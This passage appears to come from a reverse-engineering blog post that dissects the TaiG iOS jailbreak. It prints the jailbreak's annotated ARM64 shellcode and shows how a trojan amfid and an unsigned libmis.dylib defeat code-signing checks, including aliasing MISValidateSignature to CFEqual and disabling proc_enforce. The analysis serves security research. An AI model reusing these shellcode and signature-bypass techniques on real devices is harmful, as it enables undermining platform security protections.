ADD X8, X19, #768; ; ..R8 = R19 (0x120070000) + 0x300 = 0x120070300 12006dcac STR X8, [X31, #0]; ; *((0x0) + 0x0) *0x0 = X8 0x120070300 12006dcb0 BL _fcntl 0x12002149c ; Embed our hook address (0x12006d5c0) right on __ZNK16ImageLoaderMachO6getEndEv 12006dcb4 MOVZ X0, #1, LSL #-32; ; ->R0 = 0x100000000 ; __mh_execute_header 12006dcb8 MOVK X0, #8198, LSL 16; ; R0 += 20060000 =.. 0x120060000 12006dcbc MOVK X0, #56400; ; R0 += dc50 =.. 0x12006dc50 12006dcc0 ADRP x1, 2097083; ; ->R1 = 0x120028000 12006dcc4 ADD X1, X1, #1288; ; ..R1 = R1 (0x120028000) + 0x508 = 0x120028508 12006dcc8 STR X0, [X1, #0]; ; *((0x120028508) + 0x0) *0x120028508 = X0 0x12006dc50 ; And also on another location of __ZNK16ImageLoaderMachO6getEndEv 12006dccc ADRP x1, 2097083; ; ->R1 = 0x120028000 12006dcd0 ADD X1, X1, #2088; ; ..R1 = R1 (0x120028000) + 0x828 = 0x120028828 12006dcd4 STR X0, [X1, #0]; ; *((0x120028828) + 0x0) *0x120028828 = X0 0x12006dc50 ; 12006dcd8 ADD X31, X28, #0; ; ..R31 = R28 (0x0) + 0x0 = 0x0 12006dcdc LDR X0, [X28, #0]; ..?? 12006dce0 LDR X1, [X19, #1024]; ; R1 = *(R19(0x120070000) + 0x400) = *(0x120070400) => 0x0 12006dce4 SUB X0, X0, X1 12006dce8 STR X0, [X28, #0]; ; *((0x0) + 0x0) *0x0 = X0 0x3f3f3f3f ; 12006dcec ADRP x1, 2097088; ; ->R1 = 0x12002d000 12006dcf0 ADD X1, X1, #501; ; ..R1 = R1 (0x12002d000) + 0x1f5 = 0x12002d1f5 12006dcf4 MOVZ W0, #1; ; ->R0 = 0x1 12006dcf8 STRB X0, [ X1 , 0] ; And let the games begin! 12006dcfc B _dyld_start ; 0x120001000 12006dd00 DCD 0x0 12006dd04 DCD 0x0 ... (all null bytes from here) ...
You might want to check this yourself:
Phontifex:/tmp/final root# jtool -d 0x120028508 dyld.arch_arm64
Dumping from address 0x120028508 (Segment: __DATA.__const)
0x120028508: 04 0a 01 20 01 00 00 00 __ZNK16ImageLoaderMachO6getEndEv
Phontifex:/tmp/final root# jtool -d 0x120028828 dyld.arch_arm64
Dumping from address 0x120028828 (Segment: __DATA.__const)
0x120028828: 04 0a 01 20 01 00 00 00 __ZNK16ImageLoaderMachO6getEndEv
Phontifex:/tmp/final root# jtool -d 0x120021630 dyld.arch_arm64
Disassembling from file offset 0x21630, Address 0x120021630 to next symbol
_open:
120021630 STP X29, X30, [X31,#-16]!
120021634 ADD X29, X31, #0; ..R29 = R31 (0x0) + 0x0 = 0x0
120021638 LDR X2, [X29, #16]..??
12002163c BL ___open ; 0x120021cc0
120021640 ADD X31, X29, #0; ..R31 = R29 (0x0) + 0x0 = 0x0
120021644 LDP X29, X30, [X31],#16
120021648 RET
# And believe me it also works for fcntl :-)
And now you know why we needed that page56, above (the third invalid page, with hash 489d86b8874964f514f8baf1a8c8921ac1667d97 ) - It contains the strings "
Long story short: The shellcode opens both fcntl
with the little known F_ADDFILESIGS
operation (q.v. amfid
can now execute uninhibited!
Ok. Maybe that was a little bit too short :-) They tell me that @comex noted I left out where the code exec happens. Sorry. I thought that was obvious. Writing this loooong screed at the wee hours, it must have eluded me. Once more, I bring jtool
to hunt for the evidence:
# Look at all the segments of amfid_d (-l, grep) here via LC_SEGMENT (but not SEGMENT_SPLIT) commands
Phontifex:/tmp root# jtool -v -l /usr/libexec/amfid_d.arch_1 | grep SEGM | grep -v SPLIT
LC 00: LC_SEGMENT_64 Mem: 0x120008000-0x120028000 File: 0x4000-0x24000 r-x/r-x __TEXT
LC 01: LC_SEGMENT_64 Mem: 0x120028000-0x120060000 File: 0x24000-0x28000 rw-/rw- __DATA
LC 02: LC_SEGMENT_64 Mem: 0x120060000-0x120070000 File: 0x28000-0x38000 r-x/r-x __LINKEDIT # <- r-x!!!!!!
LC 14: LC_SEGMENT_64 Mem: 0x120070000-0x120074000 File: 0x38000-0x3c000 rw-/rw- __FAKEDATA
LC 15: LC_SEGMENT_64 Mem: 0x120000000-0x120008000 File: 0x3c000-0x44000 r-x/r-x __FAKETEXT
# More importantly, look at the entry point (via UNIXTHREAD, the old style load command)
Phontifex:/tmp root# jtool -v -l /usr/libexec/amfid_d.arch_1 | grep UNIX
LC 09: LC_UNIXTHREAD Entry Point: 0x12006dc60 # <<-- Start here
Note the entry point: 12006dc60. I marked that in the shellcode output, above. As for the five segments you see here, those are the 1..5 I talked about earlier in the procexp
output. For the lazy:
# Use procexp with grep to isolate amfid
Phontifex:/tmp root# procexp 171 regions | grep amfid_d
Mach-O 0xcc7396e7 000000012008c000-0000000120094000 [ 32K]r-x/r-x /usr/libexec/amfid_d
Mach-O 0xcc7396e7 0000000120094000-00000001200b4000 [ 128K]r-x/r-x /usr/libexec/amfid_d
Mach-O 0xcc7396e7 00000001200b4000-00000001200b8000 [ 16K]rw-/rw- /usr/libexec/amfid_d
Mach-O 0xcc7396e7 00000001200ec000-00000001200fc000 [ 64K]r-x/r-x /usr/libexec/amfid_d # <-- r-x!!!!
Mach-O 0xcc7396e7 00000001200fc000-0000000120100000 [ 16K]rw-/rw- /usr/libexec/amfid_d
The main thing to note here is that __LINKEDIT
is made executable - and that's where the entrypoint/area-formely-known-as-the-code-signature gets executed. Capiche?
This is, for lack of a better word, $#%$#%$#%$# Brilliant! 精彩.. 卓越的越狱! My only qualm is that this could have been used for iOS 9...
IV. libmis.dylib
This one is super easy, since TaiG is reusing this proven method (though I wouldn't be surprised if they were accused of stealing it..) Extracting coreruption
tool. This is a set of tools all-in-one for process intrusion (think jtool
versatile, on running code.. kind of like the Volatility framework, but for iOS, and with more features) which I use.
Phontifex:~ root# coreruption readmem -p 165 -addr 0x0000000100064000 -dump 0x5000
Wrote 5000 bytes from PID 165, address 100064000 to /tmp/out.bin
Phontifex:~ root# jtool -l /tmp/out.bin
LC 00: LC_SEGMENT_64 Mem: 0x000000000-0x4000 __TEXT
Mem: 0x000004000-0x000004000 __TEXT.__text (Normal)
LC 01: LC_SEGMENT_64 Mem: 0x000004000-0x8000 __LINKEDIT
LC 02: LC_ID_DYLIB /usr/lib/libmis.dylib
LC 03: LC_DYLD_INFO
LC 04: LC_SYMTAB
Symbol table is at offset 0x42b0 (17072), 14 entries
String table is at offset 0x4390 (17296), 716 bytes
LC 05: LC_DYSYMTAB No local symbols
10 external symbols at index 0
4 undefined symbols at index 10
No TOC
No modtab
No Indirect symbols
LC 06: LC_UUID UUID: 7F418BC1-163B-367B-BED8-A2D5FBA95C83
LC 07: LC_VERSION_MIN_IPHONEOS Minimum iOS version: 7.0.0
LC 08: LC_SOURCE_VERSION Source Version: 0.0.0.0.0
LC 09: LC_SEGMENT_SPLIT_INFO Offset: 16936, Size: 8 (0x4228-0x4230)
LC 10: LC_LOAD_DYLIB /System/Library/Frameworks/CoreFoundation.framework/CoreFoundation
LC 11: LC_LOAD_DYLIB /usr/lib/libSystem.B.dylib
LC 12: LC_FUNCTION_STARTS Offset: 16944, Size: 8 (0x4230-0x4238) with 0 functions
LC 13: LC_DATA_IN_CODE Offset: 16952, Size: 0 (0x4238-0x4238)
LC 14: LC_DYLIB_CODE_SIGN_DRS Offset: 16952, Size: 120 (0x4238-0x42b0)
Note, no code signature here..
Phontifex:~ root# jtool -S /tmp/out.bin
I _MISValidateSignature (indirect for _CFEqual) # Never gets old..
I _kMISValidationInfoEntitlements (indirect for _kCFUserNotificationTokenKey)
I _kMISValidationInfoSignerCertificate (indirect for _kCFUserNotificationTokenKey)
I _kMISValidationInfoSigningID (indirect for _kCFUserNotificationTokenKey)
I _kMISValidationInfoValidatedByProfile (indirect for _kCFUserNotificationTokenKey)
I _kMISValidationOptionAllowAdHocSigning (indirect for _kCFUserNotificationTokenKey)
I _kMISValidationOptionExpectedHash (indirect for _kCFUserNotificationTimeoutKey)
I _kMISValidationOptionLogResourceErrors (indirect for _kCFUserNotificationTokenKey)
I _kMISValidationOptionUniversalFileOffset (indirect for _kCFUserNotificationTokenKey)
I _kMISValidationOptionValidateSignatureOnly (indirect for _kCFUserNotificationTokenKey)
U _CFEqual
U _kCFUserNotificationTimeoutKey
U _kCFUserNotificationTokenKey
U dyld_stub_binder
Though it's hard to see without obtrusive inspection of the process (which is difficult, since lldb
crashes on it, though fortunately coreruption
prevails), the "trojan" amfid is doing exactly what the original would do - waiting for requests on the Mach port (host special port 18) from amfid
vouches for it. As you'll see later, as part of its patches it disables MACF partially via security.mac.proc_enforce
, but it can only do that if it successfully executes. Its libmis.dylib
(unsigned) performs the well known evasi0n
From my experiments, amfid
is extremely unstable and sooner or later crashes. For most jailbreak users, this is inconsequental, and they won't notice anything. amfid
's other role, however, is to answer the kext when it checks for unrestricted debugging (i.e. if amfid
dies or crashes, lldb won't be able to use lldb
will hang, and AMFId will complain (via dmesg/syslog) with the ominous message "int _permitUnrestrictedDebugging(): permit_unrestricted_debugging server is dead"
coming from the kext. (@comex: - that's an unintended consequence of crashing).
All this was just the backdrop to allow the untether (
Greets
- TaiG @taig_jailbreak) - You rock. But seriously, quit burning amazing exploits, ok? Apple's not making this easier, you know.
- Comex @comex - Come work with us @TG :-) We're hiring
Notes:
For comments/questions, please use the New OS X Book forum. If you're interested in learning more about our trainings @Technologeeks (the upcoming one is at max capacity, but we're planning another mid December!), find details here.
.* - This was published 28 days after this.... hence the title.